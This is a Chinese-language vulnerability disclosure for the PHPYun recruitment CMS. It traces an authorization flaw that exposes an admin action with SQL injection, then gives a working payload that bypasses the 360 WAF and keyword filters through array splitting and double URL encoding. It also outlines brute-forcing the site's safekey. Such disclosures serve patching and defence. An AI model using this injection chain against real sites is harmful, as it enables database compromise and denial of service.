### 简要描述:
想在PHP云里进行一次SQL注射,真的是好难。
### 详细说明:
我首先发现了一个SQL注射,这个过程也不轻松。
在phpyun/model/class/action.class.php中
```
function get_admin_user_shell(){
if($_SESSION['auid'] && $_SESSION['ashell']){
$row=$this->admin_get_user_shell($_SESSION['auid'],$_SESSION['ashell']);
if(!$row){$this->logout();echo "无权操作!";die;}
if($_GET['m']=="" || $_GET['m']=="index" || $_GET['m']=="ajax" || $_GET['m']=="admin_nav"){$_GET['m']="admin_right";}
$c=$_GET['c'];$m=$_GET['m'];
if($_GET['m']!="admin_right"){
$url=$_GET['m']=="cache"?"index.php?m=".$m."&c=".$c:"index.php?m=".$m;
$nav=$this->get_shell($row["m_id"],$url);
if(!$nav){$this->logout();echo "无权操作!";die;}
}
}else{
if($_GET['m']!=""){
$this->logout();
echo "无权操作!";die;
}
}
}
```
注意那句
```
if($_GET['m']!=""){
```
,没错,只要m为空,那么这个后台的操作是可以被任何人操作的,正好,有一个操作就存在SQL注射漏洞。
在/phpyun/admin/model/index.class.php中的代码里
```
function shortcut_menu_action(){
if($_POST['chk_value']){
$this->obj->DB_update_all("admin_navigation","`menu`='1'","`menu`='2'");
echo "`id` in(".@implode(',',$_POST['chk_value']).")";
$this->obj->DB_update_all("admin_navigation","`menu`='2'","`id` in(".@implode(',',$_POST['chk_value']).")");
echo 1;die;
}
}
```
$_POST['chk_value']直接来自POST,直接进入了SQL语句。
但是如果你想POST内容,那么你还需要pytoken,这个又怎么拿到呢。
```
function admin(){
$r=$this->obj->get_admin_user_shell();
$this->registrs();
if($_POST){
if($_POST['pytoken']!=$_SESSION['pytoken']){
unset($_POST['pytoken']);
$this->obj->ACT_layer_msg("来源地址非法!",3,$this->config['sy_weburl']);
}
}
if(!$_SESSION['pytoken']){
$_SESSION['pytoken'] = substr(md5(uniqid().$_SESSION['auid'].$_SESSION['ausername'].$_SESSION['ashell']), 8, 12);
}
$this->yunset('pytoken',$_SESSION['pytoken']);
}
```
注意这一句
```
if($_POST['pytoken']!=$_SESSION['pytoken']){
unset($_POST['pytoken']);
$this->obj->ACT_layer_msg("来源地址非法!",3,$this->config['sy_weburl']);
}
```
不过这个没问题,在登陆的页面就有,访问:http://localhost:8038/phpyun/admin/就可以取到。
[<img src="https://images.seebug.org/upload/201407/1417421073671ff14c7c3e23ad88fe9137a446c3.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/1417421073671ff14c7c3e23ad88fe9137a446c3.jpg)
好,接下来就是最糟糕的地方了,360的防御。
[<img src="https://images.seebug.org/upload/201407/14174421fb1d0ea62312f21d04b01cbcefab453c.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/14174421fb1d0ea62312f21d04b01cbcefab453c.jpg)
```
我们试试最简单的 or 1=1 吧,看,360出来了(我把360的iframe页面修改成了echo 出来360几个字符了)。
```
查看data/db.safety.php会找到相应的代码,怎么bypass呢?
```
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
```
怎么绕过呢,简单来说,只需要是多个数组就可以绕过了。
[<img src="https://images.seebug.org/upload/201407/14175036ff214ce8b9f1b977ee03c66a04c19542.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/14175036ff214ce8b9f1b977ee03c66a04c19542.jpg)
看,出现了新的情况,or被替换成了Or。
这部分的代码在:
```
function gpc2sql($str) {
if(preg_match("/select|insert|update|delete|union|into|load_file|outfile/is", $str))
{
exit(safe_pape());
}
$arr=array(" and "=>" an d "," or "=>" Or ","%20"=>"","select"=>"Select","update"=>"Update","count"=>"Count","chr"=>"Chr","truncate"=>"Truncate","union"=>"Union","delete"=>"Delete","insert"=>"Insert");
foreach($arr as $key=>$v){
$str = preg_replace('/'.$key.'/isU',$v,$str);
}
```
如何避免被替换呢,有两个方法。
1,"%20"=>""
看,%20被替换成空了,我们只需要提交
```
chk_value[]=1) o%2520r /*&chk_value[]=*/1=1#&pytoken=9a54d50f315b
```
%2520会被webserver转换成%20,%20就会被删除,留下的就是or了。
[<img src="https://images.seebug.org/upload/201407/141753358eea780eea36215fa56675e3988fb247.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/141753358eea780eea36215fa56675e3988fb247.jpg)
```
由于or和and在%20的数组之前,我们才可以这么做的,但是select是不可以的,所以可以试试方法2
```
```
if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
```
只需要知道sy_safekey,就可以实现SQL注射,sy_safekey怎么生成的。
```
$r=rand(10000000,99999999);
mysql_query("update $table_config set `config`='$r' where `name`='sy_safekey'");
```
如果我们想让服务器挂掉或者查询当前的数据库环境,很容易,我们可以很轻松的sleep或者获取当前运行的数据库信息了,这些不依赖select字符的事情我们都可以做了。
但是如果我们想做更多的事情,那么,我们就需要写个程序,post safekey到http://localhost:8038//phpyun/index.php?m=com&c=search&keyword=count,最多7999万次直到返回的count是count而不是Count,那么你就获取了sy_safekey,那么你就可以为所欲为了。
### 漏洞证明:
如果我们想让服务器挂掉或者查询当前的数据库环境,很容易,我们可以很轻松的sleep或者获取当前运行的数据库信息了,这些不依赖select字符的事情我们都可以做了。
但是如果我们想做更多的事情,那么,我们就需要写个程序,post safekey到http://localhost:8038//phpyun/index.php?m=com&c=search&keyword=count,最多7999万次直到返回的count是count而不是Count,那么你就获取了sy_safekey,那么你就可以为所欲为了。
暂无评论